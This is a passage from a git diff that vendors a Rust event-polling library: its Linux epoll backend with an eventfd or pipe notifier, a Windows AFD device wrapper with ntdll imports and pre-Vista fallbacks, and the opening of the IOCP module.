{ + // Create an epoll instance. + // + // Use `epoll_create1` with `EPOLL_CLOEXEC`. + let epoll_fd = epoll::create(epoll::CreateFlags::CLOEXEC)?; + + // Set up notifier and timerfd. + let notifier = Notifier::new()?; + #[cfg(not(target_os = "redox"))] + let timer_fd = timerfd_create( + TimerfdClockId::Monotonic, + TimerfdFlags::CLOEXEC | TimerfdFlags::NONBLOCK, + ) + .ok(); + + let poller = Poller { + epoll_fd, + notifier, + #[cfg(not(target_os = "redox"))] + timer_fd, + }; + + unsafe { + #[cfg(not(target_os = "redox"))] + if let Some(ref timer_fd) = poller.timer_fd { + poller.add( + timer_fd.as_raw_fd(), + Event::none(crate::NOTIFY_KEY), + PollMode::Oneshot, + )?; + } + + poller.add( + poller.notifier.as_fd().as_raw_fd(), + Event::readable(crate::NOTIFY_KEY), + PollMode::Oneshot, + )?; + } + + #[cfg(feature = "tracing")] + tracing::trace!( + epoll_fd = ?poller.epoll_fd.as_raw_fd(), + notifier = ?poller.notifier, + "new", + ); + Ok(poller) + } + + /// Whether this poller supports level-triggered events. + pub fn supports_level(&self) -> bool { + true + } + + /// Whether the poller supports edge-triggered events. + pub fn supports_edge(&self) -> bool { + true + } + + /// Adds a new file descriptor. + /// + /// # Safety + /// + /// The `fd` must be a valid file descriptor. The usual condition of remaining registered in + /// the `Poller` doesn't apply to `epoll`. + pub unsafe fn add(&self, fd: RawFd, ev: Event, mode: PollMode) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "add", + epoll_fd = ?self.epoll_fd.as_raw_fd(), + ?fd, + ?ev, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + epoll::add( + &self.epoll_fd, + unsafe { rustix::fd::BorrowedFd::borrow_raw(fd) }, + epoll::EventData::new_u64(ev.key as u64), + epoll_flags(&ev, mode) | ev.extra.flags, + )?; + + Ok(()) + } + + /// Modifies an existing file descriptor. + pub fn modify(&self, fd: BorrowedFd<'_>, ev: Event, mode: PollMode) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "modify", + epoll_fd = ?self.epoll_fd.as_raw_fd(), + ?fd, + ?ev, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + epoll::modify( + &self.epoll_fd, + fd, + epoll::EventData::new_u64(ev.key as u64), + epoll_flags(&ev, mode) | ev.extra.flags, + )?; + + Ok(()) + } + + /// Deletes a file descriptor. + #[cfg_attr(not(feature = "tracing"), inline(always))] + pub fn delete(&self, fd: BorrowedFd<'_>) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "delete", + epoll_fd = ?self.epoll_fd.as_raw_fd(), + ?fd, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + epoll::delete(&self.epoll_fd, fd)?; + + Ok(()) + } + + /// Waits for I/O events with an optional deadline. + #[allow(clippy::needless_update)] + pub fn wait_deadline(&self, events: &mut Events, deadline: Option) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "wait", + epoll_fd = ?self.epoll_fd.as_raw_fd(), + ?deadline, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let timeout = deadline.map(|deadline| deadline.saturating_duration_since(Instant::now())); + + #[cfg(not(target_os = "redox"))] + if let Some(ref timer_fd) = self.timer_fd { + // Configure the timeout using timerfd. + let new_val = Itimerspec { + it_interval: TS_ZERO, + it_value: match timeout { + None => TS_ZERO, + Some(t) => { + let mut ts = TS_ZERO; + ts.tv_sec = t.as_secs() as _; + ts.tv_nsec = t.subsec_nanos() as _; + ts + } + }, + ..unsafe { std::mem::zeroed() } + }; + + timerfd_settime(timer_fd, TimerfdTimerFlags::empty(), &new_val)?; + + // Set interest in timerfd. + self.modify( + timer_fd.as_fd(), + Event::readable(crate::NOTIFY_KEY), + PollMode::Oneshot, + )?; + } + + #[cfg(not(target_os = "redox"))] + let timer_fd = &self.timer_fd; + #[cfg(target_os = "redox")] + let timer_fd: Option = None; + + // Timeout for epoll. In case of overflow, use no timeout. + let timeout = match (timer_fd, timeout) { + (_, Some(t)) if t == Duration::from_secs(0) => Some(Timespec::default()), + (None, Some(t)) => Timespec::try_from(t).ok(), + _ => None, + }; + + // Wait for I/O events. + epoll::wait( + &self.epoll_fd, + spare_capacity(&mut events.list), + timeout.as_ref(), + )?; + #[cfg(feature = "tracing")] + tracing::trace!( + epoll_fd = ?self.epoll_fd.as_raw_fd(), + res = ?events.list.len(), + "new events", + ); + + // Clear the notification (if received) and re-register interest in it. + self.notifier.clear(); + self.modify( + self.notifier.as_fd(), + Event::readable(crate::NOTIFY_KEY), + PollMode::Oneshot, + )?; + Ok(()) + } + + /// Sends a notification to wake up the current or next `wait()` call. + pub fn notify(&self) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "notify", + epoll_fd = ?self.epoll_fd.as_raw_fd(), + notifier = ?self.notifier, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + self.notifier.notify(); + Ok(()) + } +} + +impl AsRawFd for Poller { + fn as_raw_fd(&self) -> RawFd { + self.epoll_fd.as_raw_fd() + } +} + +impl AsFd for Poller { + fn as_fd(&self) -> BorrowedFd<'_> { + self.epoll_fd.as_fd() + } +} + +impl Drop for Poller { + fn drop(&mut self) { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "drop", + epoll_fd = ?self.epoll_fd.as_raw_fd(), + notifier = ?self.notifier, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + #[cfg(not(target_os = "redox"))] + if let Some(timer_fd) = self.timer_fd.take() { + let _ = self.delete(timer_fd.as_fd()); + } + let _ = self.delete(self.notifier.as_fd()); + } +} + +/// `timespec` value that equals zero. +#[cfg(not(target_os = "redox"))] +const TS_ZERO: Timespec = unsafe { std::mem::transmute([0u8; std::mem::size_of::()]) }; + +/// Get the EPOLL flags for the interest. +fn epoll_flags(interest: &Event, mode: PollMode) -> epoll::EventFlags { + let mut flags = match mode { + PollMode::Oneshot => epoll::EventFlags::ONESHOT, + PollMode::Level => epoll::EventFlags::empty(), + PollMode::Edge => epoll::EventFlags::ET, + PollMode::EdgeOneshot => epoll::EventFlags::ET | epoll::EventFlags::ONESHOT, + }; + if interest.readable { + flags |= read_flags(); + } + if interest.writable { + flags |= write_flags(); + } + flags +} + +/// Epoll flags for all possible readability events. +fn read_flags() -> epoll::EventFlags { + use epoll::EventFlags as Epoll; + Epoll::IN | Epoll::HUP | Epoll::ERR | Epoll::PRI +} + +/// Epoll flags for all possible writability events. +fn write_flags() -> epoll::EventFlags { + use epoll::EventFlags as Epoll; + Epoll::OUT | Epoll::HUP | Epoll::ERR +} + +/// A list of reported I/O events. +pub struct Events { + list: Vec, +} + +unsafe impl Send for Events {} + +impl Events { + /// Creates an empty list. + pub fn with_capacity(cap: usize) -> Events { + Events { + list: Vec::with_capacity(cap), + } + } + + /// Iterates over I/O events. + pub fn iter(&self) -> impl Iterator + '_ { + self.list.iter().map(|ev| { + let flags = ev.flags; + Event { + key: ev.data.u64() as usize, + readable: flags.intersects(read_flags()), + writable: flags.intersects(write_flags()), + extra: EventExtra { flags }, + } + }) + } + + /// Clear the list. + pub fn clear(&mut self) { + self.list.clear(); + } + + /// Get the capacity of the list. + pub fn capacity(&self) -> usize { + self.list.capacity() + } +} + +/// Extra information about this event. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct EventExtra { + flags: epoll::EventFlags, +} + +impl EventExtra { + /// Create an empty version of the data. + #[inline] + pub const fn empty() -> EventExtra { + EventExtra { + flags: epoll::EventFlags::empty(), + } + } + + /// Add the interrupt flag to this event. + #[inline] + pub fn set_hup(&mut self, active: bool) { + self.flags.set(epoll::EventFlags::HUP, active); + } + + /// Add the priority flag to this event. + #[inline] + pub fn set_pri(&mut self, active: bool) { + self.flags.set(epoll::EventFlags::PRI, active); + } + + /// Tell if the interrupt flag is set. + #[inline] + pub fn is_hup(&self) -> bool { + self.flags.contains(epoll::EventFlags::HUP) + } + + /// Tell if the priority flag is set. + #[inline] + pub fn is_pri(&self) -> bool { + self.flags.contains(epoll::EventFlags::PRI) + } + + #[inline] + pub fn is_connect_failed(&self) -> Option { + Some( + self.flags.contains(epoll::EventFlags::ERR) + && self.flags.contains(epoll::EventFlags::HUP), + ) + } + + #[inline] + pub fn is_err(&self) -> Option { + Some(self.flags.contains(epoll::EventFlags::ERR)) + } +} + +/// The notifier for Linux. +/// +/// Certain container runtimes do not expose eventfd to the client, as it relies on the host and +/// can be used to "escape" the container under certain conditions. Gramine is the prime example, +/// see [here](gramine). In this case, fall back to using a pipe. +/// +/// [gramine]: https://gramine.readthedocs.io/en/stable/manifest-syntax.html#allowing-eventfd +#[derive(Debug)] +enum Notifier { + /// The primary notifier, using eventfd. + #[cfg(not(target_os = "redox"))] + EventFd(OwnedFd), + + /// The fallback notifier, using a pipe. + Pipe { + /// The read end of the pipe. + read_pipe: OwnedFd, + + /// The write end of the pipe. + write_pipe: OwnedFd, + }, +} + +impl Notifier { + /// Create a new notifier. + fn new() -> io::Result { + // Skip eventfd for testing if necessary. + #[cfg(not(target_os = "redox"))] + { + if !cfg!(polling_test_epoll_pipe) { + // Try to create an eventfd. + match eventfd(0, EventfdFlags::CLOEXEC | EventfdFlags::NONBLOCK) { + Ok(fd) => { + #[cfg(feature = "tracing")] + tracing::trace!("created eventfd for notifier"); + return Ok(Notifier::EventFd(fd)); + } + + Err(_err) => { + #[cfg(feature = "tracing")] + tracing::warn!( + "eventfd() failed with error ({}), falling back to pipe", + _err + ); + } + } + } + } + + let (read, write) = pipe_with(PipeFlags::CLOEXEC).or_else(|_| { + let (read, write) = pipe()?; + fcntl_setfd(&read, fcntl_getfd(&read)? | FdFlags::CLOEXEC)?; + fcntl_setfd(&write, fcntl_getfd(&write)? | FdFlags::CLOEXEC)?; + io::Result::Ok((read, write)) + })?; + + fcntl_setfl(&read, fcntl_getfl(&read)? | OFlags::NONBLOCK)?; + Ok(Notifier::Pipe { + read_pipe: read, + write_pipe: write, + }) + } + + /// The file descriptor to register in the poller. + fn as_fd(&self) -> BorrowedFd<'_> { + match self { + #[cfg(not(target_os = "redox"))] + Notifier::EventFd(fd) => fd.as_fd(), + Notifier::Pipe { + read_pipe: read, .. + } => read.as_fd(), + } + } + + /// Notify the poller. + fn notify(&self) { + match self { + #[cfg(not(target_os = "redox"))] + Self::EventFd(fd) => { + let buf: [u8; 8] = 1u64.to_ne_bytes(); + let _ = write(fd, &buf); + } + + Self::Pipe { write_pipe, .. } => { + write(write_pipe, &[0; 1]).ok(); + } + } + } + + /// Clear the notification. + fn clear(&self) { + match self { + #[cfg(not(target_os = "redox"))] + Self::EventFd(fd) => { + let mut buf = [0u8; 8]; + let _ = read(fd, &mut buf); + } + + Self::Pipe { read_pipe, .. } => while read(read_pipe, &mut [0u8; 1024]).is_ok() {}, + } + } +} diff --git a/lib/malio/polling/src/iocp/afd.rs b/lib/malio/polling/src/iocp/afd.rs new file mode 100644 index 0000000..273630f --- /dev/null +++ b/lib/malio/polling/src/iocp/afd.rs @@ -0,0 +1,733 @@ +//! Safe wrapper around \Device\Afd + +use super::port::{Completion, CompletionHandle}; + +use std::cell::UnsafeCell; +use std::fmt; +use std::io; +use std::marker::{PhantomData, PhantomPinned}; +use std::mem::{self, size_of, transmute, MaybeUninit}; +use std::ops; +use std::os::windows::prelude::{AsRawHandle, RawHandle, RawSocket}; +use std::pin::Pin; +use std::ptr; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::OnceLock; + +use windows_sys::Wdk::Foundation::OBJECT_ATTRIBUTES; +use windows_sys::Wdk::Storage::FileSystem::FILE_OPEN; +use windows_sys::Win32::Foundation::{ + CloseHandle, HANDLE, HMODULE, NTSTATUS, STATUS_NOT_FOUND, STATUS_PENDING, STATUS_SUCCESS, + UNICODE_STRING, +}; +use windows_sys::Win32::Networking::WinSock::{ + WSAIoctl, SIO_BASE_HANDLE, SIO_BSP_HANDLE_POLL, SOCKET_ERROR, +}; +use windows_sys::Win32::Storage::FileSystem::{FILE_SHARE_READ, FILE_SHARE_WRITE, SYNCHRONIZE}; +use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleW, GetProcAddress}; +use windows_sys::Win32::System::IO::IO_STATUS_BLOCK; + +// NtCancelIoFileEx may be missing on older systems; declare it as link-time resolved to avoid runtime GetProcAddress failure. +#[allow(non_snake_case)] +extern "system" { + fn NtCancelIoFileEx( + FileHandle: HANDLE, + IoRequestToCancel: *mut IO_STATUS_BLOCK, + IoStatusBlock: *mut IO_STATUS_BLOCK, + ) -> NTSTATUS; +} + +#[repr(C)] +struct RtlOsVersionInfoW { + dwOSVersionInfoSize: u32, + dwMajorVersion: u32, + dwMinorVersion: u32, + dwBuildNumber: u32, + dwPlatformId: u32, + szCSDVersion: [u16; 128], +} + +fn is_pre_vista() -> bool { + static PRE_VISTA: OnceLock = OnceLock::new(); + + *PRE_VISTA.get_or_init(|| unsafe { + let ntdll = match NtdllImports::get() { + Ok(ntdll) => ntdll, + Err(_) => return false, + }; + + let mut info: RtlOsVersionInfoW = std::mem::zeroed(); + info.dwOSVersionInfoSize = size_of::() as u32; + + let status = ntdll.RtlGetVersion(&mut info as *mut RtlOsVersionInfoW); + status >= 0 && info.dwMajorVersion < 6 + }) +} + +#[derive(Default)] +#[repr(C)] +pub(super) struct AfdPollInfo { + /// The timeout for this poll. + timeout: i64, + + /// The number of handles being polled. + handle_count: u32, + + /// Whether or not this poll is exclusive for this handle. + exclusive: u32, + + /// The handles to poll. + handles: [AfdPollHandleInfo; 1], +} + +#[repr(C)] +struct AfdPollHandleInfo { + /// The handle to poll. + handle: HANDLE, + + /// The events to poll for. + events: AfdPollMask, + + /// The status of the poll. + status: NTSTATUS, +} + +impl Default for AfdPollHandleInfo { + fn default() -> Self { + Self { + handle: ptr::null_mut(), + events: Default::default(), + status: Default::default(), + } + } +} + +impl AfdPollInfo { + pub(super) fn handle_count(&self) -> u32 { + self.handle_count + } + + pub(super) fn events(&self) -> AfdPollMask { + self.handles[0].events + } +} + +#[derive(Default, Copy, Clone, PartialEq, Eq)] +#[repr(transparent)] +pub(super) struct AfdPollMask(u32); + +impl AfdPollMask { + pub(crate) const RECEIVE: AfdPollMask = AfdPollMask(0x001); + pub(crate) const RECEIVE_EXPEDITED: AfdPollMask = AfdPollMask(0x002); + pub(crate) const SEND: AfdPollMask = AfdPollMask(0x004); + pub(crate) const DISCONNECT: AfdPollMask = AfdPollMask(0x008); + pub(crate) const ABORT: AfdPollMask = AfdPollMask(0x010); + pub(crate) const LOCAL_CLOSE: AfdPollMask = AfdPollMask(0x020); + pub(crate) const ACCEPT: AfdPollMask = AfdPollMask(0x080); + pub(crate) const CONNECT_FAIL: AfdPollMask = AfdPollMask(0x100); + + /// Creates an empty mask. + pub(crate) const fn empty() -> AfdPollMask { + AfdPollMask(0) + } + + /// Checks if this mask contains the other mask. + pub(crate) fn intersects(self, other: AfdPollMask) -> bool { + (self.0 & other.0) != 0 + } + + /// Sets a flag. + pub(crate) fn set(&mut self, other: AfdPollMask, value: bool) { + if value { + *self |= other; + } else { + self.0 &= !other.0; + } + } +} + +impl fmt::Debug for AfdPollMask { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + const FLAGS: &[(&str, AfdPollMask)] = &[ + ("RECEIVE", AfdPollMask::RECEIVE), + ("RECEIVE_EXPEDITED", AfdPollMask::RECEIVE_EXPEDITED), + ("SEND", AfdPollMask::SEND), + ("DISCONNECT", AfdPollMask::DISCONNECT), + ("ABORT", AfdPollMask::ABORT), + ("LOCAL_CLOSE", AfdPollMask::LOCAL_CLOSE), + ("ACCEPT", AfdPollMask::ACCEPT), + ("CONNECT_FAIL", AfdPollMask::CONNECT_FAIL), + ]; + + let mut first = true; + for (name, value) in FLAGS { + if self.intersects(*value) { + if !first { + write!(f, " | ")?; + } + + first = false; + write!(f, "{name}")?; + } + } + + Ok(()) + } +} + +impl ops::BitOr for AfdPollMask { + type Output = Self; + + fn bitor(self, rhs: Self) -> Self { + AfdPollMask(self.0 | rhs.0) + } +} + +impl ops::BitOrAssign for AfdPollMask { + fn bitor_assign(&mut self, rhs: Self) { + self.0 |= rhs.0; + } +} + +impl ops::BitAnd for AfdPollMask { + type Output = Self; + + fn bitand(self, rhs: Self) -> Self { + AfdPollMask(self.0 & rhs.0) + } +} + +impl ops::BitAndAssign for AfdPollMask { + fn bitand_assign(&mut self, rhs: Self) { + self.0 &= rhs.0; + } +} + +pub(super) trait HasAfdInfo { + fn afd_info(self: Pin<&Self>) -> Pin<&UnsafeCell>; +} + +macro_rules! define_ntdll_import { + ( + $( + $(#[$attr:meta])* + fn $name:ident($($arg:ident: $arg_ty:ty),*) -> $ret:ty; + )* + ) => { + /// Imported functions from ntdll.dll. + #[allow(non_snake_case)] + pub(super) struct NtdllImports { + $( + $(#[$attr])* + $name: unsafe extern "system" fn($($arg_ty),*) -> $ret, + )* + } + + #[allow(non_snake_case)] + impl NtdllImports { + unsafe fn load(ntdll: HMODULE) -> io::Result { + $( + #[allow(clippy::missing_transmute_annotations)] + let $name = { + const NAME: &str = concat!(stringify!($name), "\0"); + let addr = GetProcAddress(ntdll, NAME.as_ptr() as *const _); + + let addr = match addr { + Some(addr) => addr, + // NtCancelIoFileEx may be missing on some platforms (e.g. XP), fall back to the link-time compat shim. + None if NAME == concat!("NtCancelIoFileEx", "\0") => { + // Cast the function to the same type as GetProcAddress return value + transmute::< + unsafe extern "system" fn(HANDLE, *mut IO_STATUS_BLOCK, *mut IO_STATUS_BLOCK) -> NTSTATUS, + unsafe extern "system" fn() -> isize + >(NtCancelIoFileEx) + } + None => { + #[cfg(feature = "tracing")] + tracing::error!("Failed to load ntdll function {}", NAME); + return Err(io::Error::last_os_error()); + }, + }; + + transmute::<_, unsafe extern "system" fn($($arg_ty),*) -> $ret>(addr) + }; + )* + + Ok(Self { + $( + $name, + )* + }) + } + + $( + $(#[$attr])* + unsafe fn $name(&self, $($arg: $arg_ty),*) -> $ret { + (self.$name)($($arg),*) + } + )* + } + }; +} + +define_ntdll_import! { + /// Cancels an ongoing I/O operation. + fn NtCancelIoFileEx( + FileHandle: HANDLE, + IoRequestToCancel: *mut IO_STATUS_BLOCK, + IoStatusBlock: *mut IO_STATUS_BLOCK + ) -> NTSTATUS; + + /// Cancels all ongoing I/O operations on a handle (available on pre-Vista systems). + fn NtCancelIoFile( + FileHandle: HANDLE, + IoStatusBlock: *mut IO_STATUS_BLOCK + ) -> NTSTATUS; + + /// Opens or creates a file handle. + #[allow(clippy::too_many_arguments)] + fn NtCreateFile( + FileHandle: *mut HANDLE, + DesiredAccess: u32, + ObjectAttributes: *mut OBJECT_ATTRIBUTES, + IoStatusBlock: *mut IO_STATUS_BLOCK, + AllocationSize: *mut i64, + FileAttributes: u32, + ShareAccess: u32, + CreateDisposition: u32, + CreateOptions: u32, + EaBuffer: *mut (), + EaLength: u32 + ) -> NTSTATUS; + + /// Runs an I/O control on a file handle. + /// + /// Practically equivalent to `ioctl`. + #[allow(clippy::too_many_arguments)] + fn NtDeviceIoControlFile( + FileHandle: HANDLE, + Event: HANDLE, + ApcRoutine: *mut (), + ApcContext: *mut (), + IoStatusBlock: *mut IO_STATUS_BLOCK, + IoControlCode: u32, + InputBuffer: *mut (), + InputBufferLength: u32, + OutputBuffer: *mut (), + OutputBufferLength: u32 + ) -> NTSTATUS; + + /// Converts `NTSTATUS` to a DOS error code. + fn RtlNtStatusToDosError( + Status: NTSTATUS + ) -> u32; + + /// Gets the OS version without compatibility shims/manifest issues. + fn RtlGetVersion( + VersionInformation: *mut RtlOsVersionInfoW + ) -> NTSTATUS; +} + +impl NtdllImports { + fn get() -> io::Result<&'static Self> { + macro_rules! s { + ($e:expr) => {{ + $e as u16 + }}; + } + + // ntdll.dll + static NTDLL_NAME: &[u16] = &[ + s!('n'), + s!('t'), + s!('d'), + s!('l'), + s!('l'), + s!('.'), + s!('d'), + s!('l'), + s!('l'), + s!('\0'), + ]; + static NTDLL_IMPORTS: OnceLock> = OnceLock::new(); + + NTDLL_IMPORTS + .get_or_init(|| unsafe { + let ntdll = GetModuleHandleW(NTDLL_NAME.as_ptr() as *const _); + + if ntdll.is_null() { + #[cfg(feature = "tracing")] + tracing::error!("Failed to load ntdll.dll"); + return Err(io::Error::last_os_error()); + } + + NtdllImports::load(ntdll) + }) + .as_ref() + .map_err(|e| io::Error::from(e.kind())) + } + + pub(super) fn force_load() -> io::Result<()> { + Self::get()?; + Ok(()) + } +} + +/// The handle to the AFD device. +pub(super) struct Afd { + /// The handle to the AFD device. + handle: HANDLE, + + /// We own `T`. + _marker: PhantomData, +} + +impl fmt::Debug for Afd { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + struct WriteAsHex(HANDLE); + + impl fmt::Debug for WriteAsHex { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "{:010x}", self.0 as usize) + } + } + + f.debug_struct("Afd") + .field("handle", &WriteAsHex(self.handle)) + .finish() + } +} + +impl Drop for Afd { + fn drop(&mut self) { + unsafe { + CloseHandle(self.handle); + } + } +} + +impl AsRawHandle for Afd { + fn as_raw_handle(&self) -> RawHandle { + self.handle as _ + } +} + +impl Afd +where + T::Completion: AsIoStatusBlock + HasAfdInfo, +{ + /// Create a new AFD device. + pub(super) fn new() -> io::Result { + macro_rules! s { + ($e:expr) => { + ($e) as u16 + }; + } + + /// \Device\Afd\Smol + const AFD_NAME: &[u16] = &[ + s!('\\'), + s!('D'), + s!('e'), + s!('v'), + s!('i'), + s!('c'), + s!('e'), + s!('\\'), + s!('A'), + s!('f'), + s!('d'), + s!('\\'), + s!('S'), + s!('m'), + s!('o'), + s!('l'), + s!('\0'), + ]; + + // Set up device attributes. + let mut device_name = UNICODE_STRING { + Length: mem::size_of_val(AFD_NAME) as u16, + MaximumLength: mem::size_of_val(AFD_NAME) as u16, + Buffer: AFD_NAME.as_ptr() as *mut _, + }; + let mut device_attributes = OBJECT_ATTRIBUTES { + Length: size_of::() as u32, + RootDirectory: ptr::null_mut(), + ObjectName: &mut device_name, + Attributes: 0, + SecurityDescriptor: ptr::null_mut(), + SecurityQualityOfService: ptr::null_mut(), + }; + + let mut handle = MaybeUninit::::uninit(); + let mut iosb = MaybeUninit::::zeroed(); + let ntdll = NtdllImports::get()?; + + let result = unsafe { + ntdll.NtCreateFile( + handle.as_mut_ptr(), + SYNCHRONIZE, + &mut device_attributes, + iosb.as_mut_ptr(), + ptr::null_mut(), + 0, + FILE_SHARE_READ | FILE_SHARE_WRITE, + FILE_OPEN, + 0, + ptr::null_mut(), + 0, + ) + }; + + if result != STATUS_SUCCESS { + let real_code = unsafe { ntdll.RtlNtStatusToDosError(result) }; + + return Err(io::Error::from_raw_os_error(real_code as i32)); + } + + let handle = unsafe { handle.assume_init() }; + + Ok(Self { + handle, + _marker: PhantomData, + }) + } + + /// Begin polling with the provided handle. + pub(super) fn poll( + &self, + packet: T, + base_socket: RawSocket, + afd_events: AfdPollMask, + ) -> io::Result<()> { + const IOCTL_AFD_POLL: u32 = 0x00012024; + // Pre-Vista (XP/2003) systems can get stuck with a never-completing AFD poll. + // Use a finite relative timeout (in 100ns units) to force periodic completion. + const PRE_VISTA_TIMEOUT_100NS: i64 = -10_000_000; // 1s + + // Lock the packet. + if !packet.get().try_lock() { + return Err(io::Error::new( + io::ErrorKind::WouldBlock, + "packet is already in use", + )); + } + + // Set up the AFD poll info. + let poll_info = unsafe { + let poll_info = Pin::into_inner_unchecked(packet.get().afd_info()).get(); + + // Initialize the AFD poll info. + (*poll_info).exclusive = false.into(); + (*poll_info).handle_count = 1; + (*poll_info).timeout = if is_pre_vista() { + PRE_VISTA_TIMEOUT_100NS + } else { + i64::MAX + }; + (*poll_info).handles[0].handle = base_socket as HANDLE; + (*poll_info).handles[0].status = 0; + (*poll_info).handles[0].events = afd_events; + + poll_info + }; + + let iosb = T::into_ptr(packet).cast::(); + // Set Status to pending + unsafe { + (*iosb).Anonymous.Status = STATUS_PENDING; + } + + let ntdll = NtdllImports::get()?; + let result = unsafe { + ntdll.NtDeviceIoControlFile( + self.handle, + ptr::null_mut(), + ptr::null_mut(), + iosb.cast(), + iosb.cast(), + IOCTL_AFD_POLL, + poll_info.cast(), + size_of::() as u32, + poll_info.cast(), + size_of::() as u32, + ) + }; + + match result { + STATUS_SUCCESS => Ok(()), + STATUS_PENDING => Err(io::ErrorKind::WouldBlock.into()), + status => { + let real_code = unsafe { ntdll.RtlNtStatusToDosError(status) }; + + Err(io::Error::from_raw_os_error(real_code as i32)) + } + } + } + + /// Cancel an ongoing poll operation. + /// + /// # Safety + /// + /// The poll operation must currently be in progress for this AFD. + pub(super) unsafe fn cancel(&self, packet: &T) -> io::Result<()> { + let ntdll = NtdllImports::get()?; + + let result = { + // First, check if the packet is still in use. + let iosb = packet.as_ptr().cast::(); + + if (*iosb).Anonymous.Status != STATUS_PENDING { + return Ok(()); + } + + // Cancel the packet. + let mut cancel_iosb = MaybeUninit::::zeroed(); + + if is_pre_vista() { + // XP doesn't reliably support per-request cancellation; cancel all pending I/O on the AFD handle. + ntdll.NtCancelIoFile(self.handle, cancel_iosb.as_mut_ptr()) + } else { + ntdll.NtCancelIoFileEx(self.handle, iosb, cancel_iosb.as_mut_ptr()) + } + }; + + if result == STATUS_SUCCESS || result == STATUS_NOT_FOUND { + Ok(()) + } else { + let real_code = ntdll.RtlNtStatusToDosError(result); + + Err(io::Error::from_raw_os_error(real_code as i32)) + } + } +} + +pin_project_lite::pin_project! { + /// An I/O status block paired with some auxiliary data. + #[repr(C)] + pub(super) struct IoStatusBlock { + // The I/O status block. + iosb: UnsafeCell, + + // Whether or not the block is in use. + in_use: AtomicBool, + + // The auxiliary data. + #[pin] + data: T, + + // This block is not allowed to move. + #[pin] + _marker: PhantomPinned, + } +} + +impl fmt::Debug for IoStatusBlock { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("IoStatusBlock") + .field("iosb", &"..") + .field("in_use", &self.in_use) + .field("data", &self.data) + .finish() + } +} + +unsafe impl Send for IoStatusBlock {} +unsafe impl Sync for IoStatusBlock {} + +impl From for IoStatusBlock { + fn from(data: T) -> Self { + Self { + iosb: UnsafeCell::new(unsafe { std::mem::zeroed() }), + in_use: AtomicBool::new(false), + data, + _marker: PhantomPinned, + } + } +} + +impl IoStatusBlock { + pub(super) fn iosb(self: Pin<&Self>) -> &UnsafeCell { + self.project_ref().iosb + } + + pub(super) fn data(self: Pin<&Self>) -> Pin<&T> { + self.project_ref().data + } +} + +impl HasAfdInfo for IoStatusBlock { + fn afd_info(self: Pin<&Self>) -> Pin<&UnsafeCell> { + self.project_ref().data.afd_info() + } +} + +/// Can be transmuted to an I/O status block. +/// +/// # Safety +/// +/// A pointer to `T` must be able to be converted to a pointer to `IO_STATUS_BLOCK` +/// without any issues. +pub(super) unsafe trait AsIoStatusBlock {} + +unsafe impl AsIoStatusBlock for IoStatusBlock {} +unsafe impl Completion for IoStatusBlock { + fn try_lock(self: Pin<&Self>) -> bool { + !self.in_use.swap(true, Ordering::SeqCst) + } + + unsafe fn unlock(self: Pin<&Self>) { + self.in_use.store(false, Ordering::SeqCst); + } +} + +/// Get the base socket associated with a socket. +pub(super) fn base_socket(sock: RawSocket) -> io::Result { + // First, try the SIO_BASE_HANDLE ioctl. + let result = unsafe { try_socket_ioctl(sock, SIO_BASE_HANDLE) }; + + match result { + Ok(sock) => return Ok(sock), + Err(e) if e.kind() == io::ErrorKind::InvalidInput => return Err(e), + Err(_) => {} + } + + // Some poorly coded LSPs may not handle SIO_BASE_HANDLE properly, but in some cases may + // handle SIO_BSP_HANDLE_POLL better. Try that. + let result = unsafe { try_socket_ioctl(sock, SIO_BSP_HANDLE_POLL)? }; + if result == sock { + return Err(io::Error::from(io::ErrorKind::InvalidInput)); + } + + // Try `SIO_BASE_HANDLE` again, in case the LSP fixed itself. + unsafe { try_socket_ioctl(result, SIO_BASE_HANDLE) } +} + +/// Run an IOCTL on a socket and return a socket. +/// +/// # Safety +/// +/// The `ioctl` parameter must be a valid I/O control that returns a valid socket. +unsafe fn try_socket_ioctl(sock: RawSocket, ioctl: u32) -> io::Result { + let mut out = MaybeUninit::::uninit(); + let mut bytes = 0u32; + + let result = WSAIoctl( + sock as _, + ioctl, + ptr::null_mut(), + 0, + out.as_mut_ptr().cast(), + size_of::() as u32, + &mut bytes, + ptr::null_mut(), + None, + ); + + if result == SOCKET_ERROR { + return Err(io::Error::last_os_error()); + } + + Ok(out.assume_init()) +} diff --git a/lib/malio/polling/src/iocp/mod.rs b/lib/malio/polling/src/iocp/mod.rs new file mode 100644 index 0000000..facbe06 --- /dev/null +++ b/lib/malio/polling/src/iocp/mod.rs @@ -0,0 +1,1412 @@ +//! Bindings to Windows I/O Completion Ports. +//! +//! I/O Completion Ports is a completion-based API rather than a polling-based API, like +//! epoll or kqueue. Therefore, we have to adapt the IOCP API to the crate's API. +//! +//! WinSock is powered by the Auxiliary Function Driver (AFD) subsystem, which can be +//! accessed directly by using unstable `ntdll` functions. AFD exposes features that are not +//! available through the normal WinSock interface, such as IOCTL_AFD_POLL. This function is +//! similar to the exposed `WSAPoll` method. However, once the targeted socket is "ready", +//! a completion packet is queued to an I/O completion port. +//! +//! We take advantage of IOCTL_AFD_POLL to "translate" this crate's polling-based API +//! to the one Windows expects. When a device is added to the `Poller`, an IOCTL_AFD_POLL +//! operation is started and queued to the IOCP. To modify a currently registered device +//! (e.g. with `modify()` or `delete()`), the ongoing POLL is cancelled and then restarted +//! with new parameters. When the POLL eventually completes, the packet is posted to the 